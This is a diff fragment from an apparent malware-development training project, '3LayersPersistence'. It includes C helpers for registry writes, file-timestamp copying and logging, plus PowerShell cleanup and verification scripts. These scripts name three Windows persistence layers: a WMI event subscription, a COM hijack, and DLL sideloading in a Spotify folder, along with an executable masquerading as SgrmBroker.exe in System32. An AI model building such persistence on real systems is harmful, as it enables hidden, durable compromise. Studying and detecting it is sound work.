INVALID_HANDLE_VALUE) + { + DBG_LAST_ERROR("CreateFileW"); + goto _END_OF_FUNC; + } + + if (!SetFileTime(hDstFile, &ftCreation, &ftLastAccess, &ftLastWrite)) + { + DBG_LAST_ERROR("SetFileTime"); + goto _END_OF_FUNC; + } + + bResult = TRUE; + +_END_OF_FUNC: + CLOSE_HANDLE(hSrcFile); + CLOSE_HANDLE(hDstFile); + return bResult; +} + +#pragma endregion + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region REG_IO + +BOOL SetRegistryStringW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN LPCWSTR pwszValue, IN BOOL bOverwrite) +{ + HKEY hKey = NULL; + DWORD dwDisposition = 0x00; + LSTATUS lStatus = ERROR_SUCCESS; + BOOL bResult = FALSE; + + if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegCreateKeyExW", lStatus); + return FALSE; + } + + if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite) + { + DBG("[i] Registry Key Already Exists, Skipping"); + bResult = TRUE; + goto _END_OF_FUNC; + } + + if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_SZ, (LPBYTE)pwszValue, (DWORD)((lstrlenW(pwszValue) + 1) * sizeof(WCHAR)))) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegSetValueExW", lStatus); + goto _END_OF_FUNC; + } + + bResult = TRUE; + +_END_OF_FUNC: + RegCloseKey(hKey); + return bResult; +} + +BOOL SetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, IN DWORD dwValue, IN BOOL bOverwrite) +{ + HKEY hKey = NULL; + DWORD dwDisposition = 0x00; + LSTATUS lStatus = ERROR_SUCCESS; + BOOL bResult = FALSE; + + if ((lStatus = RegCreateKeyExW(hRoot, pwszPath, 0, NULL, 0, KEY_WRITE, NULL, &hKey, &dwDisposition)) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegCreateKeyExW", lStatus); + return FALSE; + } + + if (dwDisposition == REG_OPENED_EXISTING_KEY && !bOverwrite) + { + DBG("[i] Registry Key Already Exists, Skipping"); + bResult = TRUE; + goto _END_OF_FUNC; + } + + if ((lStatus = RegSetValueExW(hKey, pwszName, 0, REG_DWORD, (LPBYTE)&dwValue, sizeof(DWORD))) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegSetValueExW", lStatus); + goto _END_OF_FUNC; + } + + bResult = TRUE; + +_END_OF_FUNC: + RegCloseKey(hKey); + return bResult; +} + +BOOL GetRegistryDwordW(IN HKEY hRoot, IN LPCWSTR pwszPath, IN LPCWSTR pwszName, OUT PDWORD pdwOutput) +{ + HKEY hKey = NULL; + DWORD dwType = REG_DWORD, + dwDataLength = sizeof(DWORD); + LSTATUS lStatus = ERROR_SUCCESS; + BOOL bResult = FALSE; + + if ((lStatus = RegOpenKeyExW(hRoot, pwszPath, 0, KEY_READ, &hKey)) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegOpenKeyExW", lStatus); + return FALSE; + } + + if ((lStatus = RegQueryValueExW(hKey, pwszName, NULL, &dwType, (LPBYTE)pdwOutput, &dwDataLength)) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegQueryValueExW", lStatus); + goto _END_OF_FUNC; + } + + bResult = TRUE; + +_END_OF_FUNC: + RegCloseKey(hKey); + return bResult; +} + +BOOL DeleteRegistryKeyW(IN HKEY hRoot, IN LPCWSTR pwszPath) +{ + LSTATUS lStatus = ERROR_SUCCESS; + + if ((lStatus = RegDeleteTreeW(hRoot, pwszPath)) != ERROR_SUCCESS) + { + DBG_HEX_ERROR("RegDeleteTreeW", lStatus); + return FALSE; + } + + return TRUE; +} + +#pragma endregion + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#pragma region FILE_SYSTEM + +// Builds the full path to a file in the System32 directory. +BOOL GetSystem32PathW(IN LPCWSTR pwszFileName, OUT LPWSTR pwszOutPath, IN DWORD dwOutSize) +{ + WCHAR wszSystem32Path[MAX_PATH] = { 0 }; + + if (!pwszFileName || !pwszOutPath || !dwOutSize) + return FALSE; + + if (!GetSystemDirectoryW(wszSystem32Path, ARRAYSIZE(wszSystem32Path))) + { + DBG_LAST_ERROR("GetSystemDirectoryW"); + return FALSE; + } + + if (wsprintfW(pwszOutPath, L"%s\\%s", wszSystem32Path, pwszFileName) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + + return TRUE; +} + + +// Extracts the directory component from a full file path, or uses the path as-is +// if it is already a directory (when bIsFilePath is false), and creates the directory if it doesn't exist +BOOL EnsureDirectoryExistsW(IN LPCWSTR pwszPath, IN BOOL bIsFilePath) +{ + WCHAR wszDirPath[MAX_PATH] = { 0 }; + HRESULT hResult = S_OK; + + if (!pwszPath) return FALSE; + + if (FAILED((hResult = StringCchCopyW(wszDirPath, ARRAYSIZE(wszDirPath), pwszPath)))) + { + DBG_HEX_ERROR("StringCchCopyW", hResult); + return FALSE; + } + + if (bIsFilePath) PathRemoveFileSpecW(wszDirPath); + + if (!CreateDirectoryW(wszDirPath, NULL) && GetLastError() != ERROR_ALREADY_EXISTS) + { + DBG_LAST_ERROR("CreateDirectoryW"); + return FALSE; + } + + return TRUE; +} + + +/* + * Copies a file to a destination directory, while creating the directory if it doesn't exist. + * It calls both EnsureDirectoryExistsW and GetSystem32PathW depending on the parameters: + * + * pwszDestPath [IN] - Destination directory path. Supports environment variables, this is created if doesnt exist. + * pwszDestName [IN/OPTIONAL] - Destination file name. If NULL, the source file name is used. + * pwszSrcPath [IN/OPTIONAL] - Source directory path. If NULL, System32 is used as the source directory. + * pwszSrcName [IN] - Source file name. + * pwszOutFullPath [OUT/OPTIONAL] - Output parameter that receives the full destination path of the copied file. If NULL, ignored. + * dwOutFullPathSize [IN/OPTIONAL] - Output parameter that receives the size of the outputted pwszOutFullPath buffer in characters. +*/ + +BOOL CopyFileToDirW(IN LPCWSTR pwszDestPath, IN OPTIONAL LPCWSTR pwszDestName, IN OPTIONAL LPCWSTR pwszSrcPath, IN LPCWSTR pwszSrcName, OUT OPTIONAL LPWSTR pwszOutFullPath, IN OPTIONAL DWORD dwOutFullPathSize) +{ + WCHAR wszExpandedDestPath[MAX_PATH] = { 0 }; + WCHAR wszFullSrcPath[MAX_PATH] = { 0 }; + WCHAR wszFullDestPath[MAX_PATH] = { 0 }; + HRESULT hResult = S_OK; + LPCWSTR pwszFinalDestName = NULL; + + if (!pwszDestPath || !pwszSrcName) return FALSE; + if (pwszOutFullPath && !dwOutFullPathSize) return FALSE; + + // Expand environment variables in the destination path if any + if (!ExpandEnvironmentStringsW(pwszDestPath, wszExpandedDestPath, ARRAYSIZE(wszExpandedDestPath))) + { + DBG_LAST_ERROR("ExpandEnvironmentStringsW"); + return FALSE; + } + + // Create the destination directory if it doesn't exist + if (!EnsureDirectoryExistsW(wszExpandedDestPath, FALSE)) + return FALSE; + + // If no source path provided, copy from System32 + if (pwszSrcPath == NULL) + { + if (!GetSystem32PathW(pwszSrcName, wszFullSrcPath, ARRAYSIZE(wszFullSrcPath))) + return FALSE; + } + else + { + if (wsprintfW(wszFullSrcPath, L"%s\\%s", pwszSrcPath, pwszSrcName) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + } + + // If no destination name provided, use the source name + pwszFinalDestName = (pwszDestName != NULL) ? pwszDestName : pwszSrcName; + + // Build the full destination path + if (wsprintfW(wszFullDestPath, L"%s\\%s", wszExpandedDestPath, pwszFinalDestName) < 0) + { + DBG_LAST_ERROR("wsprintfW"); + return FALSE; + } + + // Copy the file, fail if destination already exists + if (!CopyFileW(wszFullSrcPath, wszFullDestPath, TRUE)) + { + DBG_LAST_ERROR("CopyFileW"); + return FALSE; + } + + // If the caller provided an output buffer, fill it with the full destination path + if (pwszOutFullPath != NULL) + { + if (FAILED((hResult = StringCchCopyW(pwszOutFullPath, dwOutFullPathSize, wszFullDestPath)))) + { + DBG_HEX_ERROR("StringCchCopyW", hResult); + return FALSE; + } + } + + return TRUE; +} + + +#pragma endregion diff --git a/3LayersPersistence/Utilities/DebugMacros.c b/3LayersPersistence/Utilities/DebugMacros.c new file mode 100644 index 0000000..d3bb9f5 --- /dev/null +++ b/3LayersPersistence/Utilities/DebugMacros.c @@ -0,0 +1,262 @@ +#include "DebugMacros.h" + + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// FLS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +static DWORD g_dwFlsIdx = FLS_OUT_OF_INDEXES; + +static VOID WINAPI DbgFlsDestructor(IN PVOID pBuffer) +{ + if (pBuffer) + { + LocalFree((HLOCAL)pBuffer); + } +} + +static LPSTR DbgGetBuffer(VOID) +{ + DWORD dwCandidateSlot = 0x00, + dwFlsSlot = 0x00; + LPSTR pThreadBuffer = NULL; + + if ((DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0) == FLS_OUT_OF_INDEXES) + { + // Allocate one FLS slot process-wide + if ((dwCandidateSlot = FlsAlloc(DbgFlsDestructor)) == FLS_OUT_OF_INDEXES) + return NULL; + + // Loser of the race discards its slot + if ((DWORD)InterlockedCompareExchange((LONG volatile*)&g_dwFlsIdx, (LONG)dwCandidateSlot, (LONG)FLS_OUT_OF_INDEXES) != FLS_OUT_OF_INDEXES) + FlsFree(dwCandidateSlot); + } + + dwFlsSlot = (DWORD)InterlockedOr((LONG volatile*)&g_dwFlsIdx, 0); + pThreadBuffer = (LPSTR)FlsGetValue(dwFlsSlot); + + // First call on this thread + if (pThreadBuffer == NULL) + { + // Allocate the thread's private buffer + if ((pThreadBuffer = (LPSTR)LocalAlloc(LPTR, BUFFER_SIZE_2048)) == NULL) + return NULL; + + FlsSetValue(dwFlsSlot, pThreadBuffer); + } + + return pThreadBuffer; +} + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// FILE SINK +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +#ifdef _DBG_USE_FILE + +static CHAR g_szLogFilename[MAX_PATH] = { 0 }; +static SRWLOCK g_srwFileLock = SRWLOCK_INIT; +static LONG g_lFilenameReady = 0x00; +static LONG g_lFileCreated = 0x00; +static HANDLE g_hLogFile = NULL; + +// Derives ".log" from the running image path, runs once +static VOID DbgEnsureLogFilename(VOID) +{ + CHAR szExePath[MAX_PATH] = { 0 }; + LPSTR pszExeName = NULL, + pszExtension = NULL; + + if (InterlockedCompareExchange(&g_lFilenameReady, 1, 0) == 0) + { + GetModuleFileNameA(NULL, szExePath, MAX_PATH); + + pszExeName = PathFindFileNameA(szExePath); + pszExtension = PathFindExtensionA(pszExeName); + + // Strip the .exe extension before appending .log + if (pszExtension) *pszExtension = '\0'; + + wsprintfA(g_szLogFilename, "%s.log", pszExeName); + } +} + +static VOID DbgSinkFile(LPCSTR pszBuffer) +{ + DWORD dwAccess = 0x00, + dwCreationDisp = 0x00, + dwBytesWritten = 0x00; + + AcquireSRWLockExclusive(&g_srwFileLock); + + // Open the file handle on first write + if (g_hLogFile == NULL) + { + DbgEnsureLogFilename(); + + // First open ever: truncates + if (InterlockedCompareExchange(&g_lFileCreated, 1, 0) == 0) + { + dwAccess = GENERIC_WRITE; + dwCreationDisp = CREATE_ALWAYS; + } + // Subsequent opens: append + else + { + dwAccess = FILE_APPEND_DATA; + dwCreationDisp = OPEN_ALWAYS; + } + + if ((g_hLogFile = CreateFileA(g_szLogFilename, dwAccess, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, dwCreationDisp, 0, NULL)) == INVALID_HANDLE_VALUE) + g_hLogFile = NULL; + } + + if (g_hLogFile) + WriteFile(g_hLogFile, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL); + + ReleaseSRWLockExclusive(&g_srwFileLock); +} + + +static VOID DbgCloseFile(VOID) +{ + AcquireSRWLockExclusive(&g_srwFileLock); + + if (g_hLogFile) + { + CloseHandle(g_hLogFile); + g_hLogFile = NULL; + } + + ReleaseSRWLockExclusive(&g_srwFileLock); +} + +#endif // _DBG_USE_FILE + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// CONSOLE SINK +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#ifdef _DBG_USE_CONSOLE + +static HANDLE g_hConsole = INVALID_HANDLE_VALUE; +static LONG g_lConReady = 0x00; +static LONG g_lConAllocated = 0x00; + +static VOID DbgEnsureConsole(VOID) +{ + HANDLE hConsole = NULL; + + if (InterlockedCompareExchange(&g_lConReady, 1, 0) == 0) + { + hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + + // No existing console + if (hConsole == INVALID_HANDLE_VALUE || hConsole == NULL) + { + // Allocate one + if (AllocConsole()) + { + InterlockedExchange(&g_lConAllocated, 1); + hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + } + } + + InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (hConsole && hConsole != INVALID_HANDLE_VALUE) ? hConsole : (PVOID)INVALID_HANDLE_VALUE); + } +} + +static VOID DbgSinkConsole(LPCSTR pszBuffer) +{ + HANDLE hConsole = NULL; + DWORD dwBytesWritten = 0x00; + + DbgEnsureConsole(); + + // Snapshot the handle in case DbgClose races with us + hConsole = (HANDLE)InterlockedCompareExchangePointer((PVOID volatile*)&g_hConsole, NULL, NULL); + + if (hConsole != INVALID_HANDLE_VALUE && hConsole != NULL) + WriteFile(hConsole, pszBuffer, (DWORD)lstrlenA(pszBuffer), &dwBytesWritten, NULL); +} + +static VOID DbgCloseConsole(VOID) +{ + // Invalidate the handle before freeing so no thread writes to it after + InterlockedExchangePointer((PVOID volatile*)&g_hConsole, (PVOID)INVALID_HANDLE_VALUE); + + if (InterlockedExchange(&g_lConAllocated, 0) == 1) + FreeConsole(); + + InterlockedExchange(&g_lConReady, 0); +} + +#endif // _DBG_USE_CONSOLE + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// PUBLIC FUNCTIONS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...) +{ + DWORD dwSavedError = 0x00; + INT cchWritten = 0x00; + LPSTR pszBuffer = NULL; + va_list pszVaArgs = NULL; + + // Capture the caller's last error before running our logic + dwSavedError = GetLastError(); + + if ((pszBuffer = DbgGetBuffer()) == NULL) + goto _END_OF_FUNC; + + va_start(pszVaArgs, pszFmt); + cchWritten = wvsprintfA(pszBuffer, pszFmt, pszVaArgs); + va_end(pszVaArgs); + + if (cchWritten < 0) + goto _END_OF_FUNC; + + // Append file and line tag if there's room + if (cchWritten < BUFFER_SIZE_2048 - 1) + wsprintfA(pszBuffer + cchWritten, " [%s:%d]\n", pszFile, nLine); + else + { + // Message was too long. Add '...\n\0' + pszBuffer[BUFFER_SIZE_2048 - 5] = '.'; + pszBuffer[BUFFER_SIZE_2048 - 4] = '.'; + pszBuffer[BUFFER_SIZE_2048 - 3] = '.'; + pszBuffer[BUFFER_SIZE_2048 - 2] = '\n'; + pszBuffer[BUFFER_SIZE_2048 - 1] = '\0'; + } + +#ifdef _DBG_USE_DEBUGSTR + OutputDebugStringA(pszBuffer); +#endif +#ifdef _DBG_USE_FILE + DbgSinkFile(pszBuffer); +#endif +#ifdef _DBG_USE_CONSOLE + DbgSinkConsole(pszBuffer); +#endif + +_END_OF_FUNC: + // Restore caller's last error + SetLastError(dwSavedError); +} + + +VOID DbgClose(VOID) +{ + DWORD dwFlsSlot = FLS_OUT_OF_INDEXES; + + // Swap the slot index to FLS_OUT_OF_INDEXES + if ((dwFlsSlot = (DWORD)InterlockedExchange((LONG volatile*)&g_dwFlsIdx, (LONG)FLS_OUT_OF_INDEXES)) != FLS_OUT_OF_INDEXES) + FlsFree(dwFlsSlot); + +#ifdef _DBG_USE_FILE + DbgCloseFile(); +#endif +#ifdef _DBG_USE_CONSOLE + DbgCloseConsole(); +#endif +} \ No newline at end of file diff --git a/3LayersPersistence/Utilities/DebugMacros.h b/3LayersPersistence/Utilities/DebugMacros.h new file mode 100644 index 0000000..a0a8e96 --- /dev/null +++ b/3LayersPersistence/Utilities/DebugMacros.h @@ -0,0 +1,94 @@ +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// Define Any Combination At The *Project Level* (compiler flags / project settings) Before Building: +// +// _DBG_USE_DEBUGSTR -> DbgView +// _DBG_USE_FILE -> File +// _DBG_USE_CONSOLE -> Console (Default) +// +// *In Release Mode*, None Of These Will Work Unless This Is Also Defined At The Project Level: +// +// _DBG_FORCE +// +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +#pragma once +#ifndef DEBUG_MACROS_H +#define DEBUG_MACROS_H + +#include +#include +#include + +#pragma comment(lib, "Shlwapi.lib") + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// HELPERS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#ifndef BUFFER_SIZE_2048 +#define BUFFER_SIZE_2048 2048 +#endif + +#ifndef GET_FILENAMEA +#define GET_FILENAMEA(PATHA) PathFindFileNameA(PATHA) +#endif + +#ifndef GET_FILENAMEW +#define GET_FILENAMEW(PATHW) PathFindFileNameW(PATHW) +#endif + +#if !defined(_DBG_USE_DEBUGSTR) && !defined(_DBG_USE_FILE) && !defined(_DBG_USE_CONSOLE) +#define _DBG_USE_CONSOLE +#endif + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// INTERNAL FUNCTION DECLARATIONS +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#ifdef __cplusplus +extern "C" { +#endif + + VOID DbgWrite(LPCSTR pszFile, INT nLine, LPCSTR pszFmt, ...); + VOID DbgClose(VOID); + +#ifdef __cplusplus +} +#endif + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// DBG & DBG_CLOSE +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#define DBG_CLOSE() DbgClose() + +#if defined(_DEBUG) || defined(_DBG_FORCE) +#define DBG(fmt, ...) DbgWrite(GET_FILENAMEA(__FILE__), __LINE__, fmt, ##__VA_ARGS__) +#else +#define DBG(fmt, ...) ((void)0) +#endif + +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== +// DBG_LAST_ERROR & DBG_HEX_ERROR +// ==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-==-== + +#if defined(_DEBUG) || defined(_DBG_FORCE) + +#define DBG_LAST_ERROR(APINAME) \ + do { \ + DWORD _dwLastErr = GetLastError(); \ + DBG("[!] %s Failed With Error: %lu", APINAME, _dwLastErr); \ + SetLastError(_dwLastErr); \ + } while (0) +#define DBG_HEX_ERROR(APINAME, HEXCODE) DBG("[!] %s Failed With Error: 0x%0.8X", APINAME, HEXCODE) + +#else + +#define DBG_LAST_ERROR(APINAME) ((void)0) +#define DBG_HEX_ERROR(APINAME, ERROR) ((void)0) + +#endif + +// ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + + +#endif // !DEBUG_MACROS_H \ No newline at end of file diff --git a/CleanupScript.ps1 b/CleanupScript.ps1 new file mode 100644 index 0000000..7910ca9 --- /dev/null +++ b/CleanupScript.ps1 @@ -0,0 +1,126 @@ +# ================================================================================================== +# CLEANUP SCRIPT +# ================================================================================================== + +$objectPrefix = "MaldevAcademy" + +$wmiExeDir = "C:\Windows\System32\wbem" +$wmiExeName = "SgrmBroker.exe" +$wmiExePath = "$wmiExeDir\$wmiExeName" + +$comDllDir = "$env:APPDATA\Microsoft\Common" + +$spotifyDir = "$env:APPDATA\Spotify" +$sideloadDll = "dsound.dll" +$forwardDll = "dspatial.dll" + +$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}" +$configKey = "HKCU:\Software\$objectPrefix\XXXX" + +# ================================================================================================== +# ADMIN PRIV ARE REQUIRED TO CLEANUP WMI AND SYSTEM32\WBEM\SgrmBroker.exe +# ================================================================================================== + +if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) +{ + Write-Host "[!] Script must be run as Administrator" -ForegroundColor Red + Exit +} + +# ================================================================================================== +# LAYER 1 - WMI PERSISTENCE +# ================================================================================================== +Write-Host "[*] Cleaning Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan + +$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" } +if ($wmiFilter) { + $wmiFilter | ForEach-Object { + $_ | Remove-WMIObject + Write-Host "[+] Removed WMI Event Filter: $($_.Name)" -ForegroundColor Green + } +} else { + Write-Host "[i] Already Cleaned Up: WMI Event Filter" -ForegroundColor Yellow +} + +$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" } +if ($wmiConsumer) { + $wmiConsumer | ForEach-Object { + $_ | Remove-WMIObject + Write-Host "[+] Removed WMI Event Consumer: $($_.Name)" -ForegroundColor Green + } +} else { + Write-Host "[i] Already Cleaned Up: WMI Event Consumer" -ForegroundColor Yellow +} + +$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" } +if ($wmiBinding) { + $wmiBinding | ForEach-Object { + $_ | Remove-WMIObject + Write-Host "[+] Removed WMI Filter-Consumer Binding" -ForegroundColor Green + } +} else { + Write-Host "[i] Already Cleaned Up: WMI Filter-Consumer Binding" -ForegroundColor Yellow +} + +# Only remove our specific EXE — do NOT delete the wbem directory +if (Test-Path $wmiExePath) { + Remove-Item -Path $wmiExePath -Force + Write-Host "[+] Removed WMI Executable: $wmiExePath" -ForegroundColor Green +} else { + Write-Host "[i] Already Cleaned Up: $wmiExePath" -ForegroundColor Yellow +} + +# ================================================================================================== +# LAYER 2 - COM HIJACK +# ================================================================================================== +Write-Host "`n[*] Cleaning Layer 2 - DLL COM Hijack..." -ForegroundColor DarkCyan + +if (Test-Path $comClsidKey) { + Remove-Item -Path $comClsidKey -Recurse -Force + Write-Host "[+] Removed COM Registry Key: $comClsidKey" -ForegroundColor Green +} else { + Write-Host "[i] Already Cleaned Up: $comClsidKey" -ForegroundColor Yellow +} + +if (Test-Path $comDllDir) { + Get-ChildItem -Path $comDllDir -Recurse | ForEach-Object { + Write-Host "[+] Removing: $($_.FullName)" -ForegroundColor Green + } + Remove-Item -Path $comDllDir -Recurse -Force + Write-Host "[+] Removed COM DLL Directory: $comDllDir" -ForegroundColor Green +} else { + Write-Host "[i] Already Cleaned Up: $comDllDir" -ForegroundColor Yellow +} + +# ================================================================================================== +# LAYER 3 - DLL SIDELOAD +# ================================================================================================== +Write-Host "`n[*] Cleaning Layer 3 - DLL Sideload..." -ForegroundColor DarkCyan + +if (Test-Path "$spotifyDir\$sideloadDll") { + Remove-Item -Path "$spotifyDir\$sideloadDll" -Force + Write-Host "[+] Removed Sideload DLL: $spotifyDir\$sideloadDll" -ForegroundColor Green +} else { + Write-Host "[i] Already Cleaned Up: $spotifyDir\$sideloadDll" -ForegroundColor Yellow +} + +if (Test-Path "$spotifyDir\$forwardDll") { + Remove-Item -Path "$spotifyDir\$forwardDll" -Force + Write-Host "[+] Removed Forward DLL: $spotifyDir\$forwardDll" -ForegroundColor Green +} else { + Write-Host "[i] Already Cleaned Up: $spotifyDir\$forwardDll" -ForegroundColor Yellow +} + +# ================================================================================================== +# PAYLOAD CONFIGURATION +# ================================================================================================== +Write-Host "`n[*] Cleaning Payload Configuration..." -ForegroundColor DarkCyan + +if (Test-Path $configKey) { + Remove-Item -Path $configKey -Recurse -Force + Write-Host "[+] Removed Configuration Registry Key: $configKey" -ForegroundColor Green +} else { + Write-Host "[i] Already Cleaned Up: $configKey" -ForegroundColor Yellow +} + +Write-Host "`n[+] Cleanup Complete" -ForegroundColor DarkCyan \ No newline at end of file diff --git a/VerifyPersistence.ps1 b/VerifyPersistence.ps1 new file mode 100644 index 0000000..c9e43d6 --- /dev/null +++ b/VerifyPersistence.ps1 @@ -0,0 +1,148 @@ +# ================================================================================================== +# VERIFY SCRIPT +# ================================================================================================== + +$objectPrefix = "MaldevAcademy" + +$wmiExeDir = "C:\Windows\System32\wbem" +$wmiExeName = "SgrmBroker.exe" +$wmiExePath = "$wmiExeDir\$wmiExeName" + +$comDllDir = "$env:APPDATA\Microsoft\Common" +$comPayloadDll = "MsComHost.dll" +$comForwardDll = "Common.StateRepositoryRM.dll" + +$spotifyDir = "$env:APPDATA\Spotify" +$sideloadDll = "dsound.dll" +$forwardDll = "dspatial.dll" + +$comClsidKey = "HKCU:\Software\Classes\CLSID\{c53e07ec-25f3-4093-aa39-fc67ea22e99d}" +$configKey = "HKCU:\Software\$objectPrefix\XXXX" + +# ================================================================================================== +# LOCATE DUMPBIN.EXE +# ================================================================================================== + +$dumpbin = Get-ChildItem -Path "C:\Program Files\Microsoft Visual Studio" -Recurse -Filter "dumpbin.exe" -ErrorAction SilentlyContinue | Select-Object -First 1 -ExpandProperty FullName + +if ($dumpbin) { + Write-Host "[+] Found dumpbin.exe: $dumpbin`n" -ForegroundColor Green +} else { + Write-Host "[!] dumpbin.exe Not Found - Export Inspection Will Be Skipped" -ForegroundColor Red +} + +# ================================================================================================== +# LAYER 1 - WMI PERSISTENCE +# ================================================================================================== +Write-Host "[*] Verifying Layer 1 - WMI Persistence..." -ForegroundColor DarkCyan + +$wmiFilter = Get-WMIObject -Namespace root\subscription -Class __EventFilter | Where-Object { $_.Name -eq "${objectPrefix}_Filter" } +if ($wmiFilter) { + Write-Host "[+] WMI Event Filter Found: $($wmiFilter.Name)" -ForegroundColor Green + Write-Host " Query: $($wmiFilter.Query)" -ForegroundColor Gray +} else { + Write-Host "[-] WMI Event Filter Not Found" -ForegroundColor Yellow +} + +$wmiConsumer = Get-WMIObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Where-Object { $_.Name -eq "${objectPrefix}_Consumer" } +if ($wmiConsumer) { + Write-Host "[+] WMI Event Consumer Found: $($wmiConsumer.Name)" -ForegroundColor Green +} else { + Write-Host "[-] WMI Event Consumer Not Found" -ForegroundColor Yellow +} + +$wmiBinding = Get-WMIObject -Namespace root\subscription -Class __FilterToConsumerBinding | Where-Object { $_.Filter -like "*$objectPrefix*" } +if ($wmiBinding) { + Write-Host "[+] WMI Filter-Consumer Binding Found" -ForegroundColor Green + Write-Host " Filter: $($wmiBinding.Filter)" -ForegroundColor Gray + Write-Host " Consumer: $($wmiBinding.Consumer)" -ForegroundColor Gray +} else { + Write-Host "[-] WMI Filter-Consumer Binding Not Found" -ForegroundColor Yellow +} + +if (Test-Path $wmiExePath) { + $wmiExeFile = Get-Item $wmiExePath + Write-Host "[+] WMI Executable Found: $wmiExePath [$([math]::Round($wmiExeFile.Length / 1KB, 1)) KB]" -ForegroundColor Green + Write-Host " CreationTime: $($wmiExeFile.CreationTime)" -ForegroundColor Gray + Write-Host " LastWriteTime: $($wmiExeFile.LastWriteTime)" -ForegroundColor Gray +} else { + Write-Host 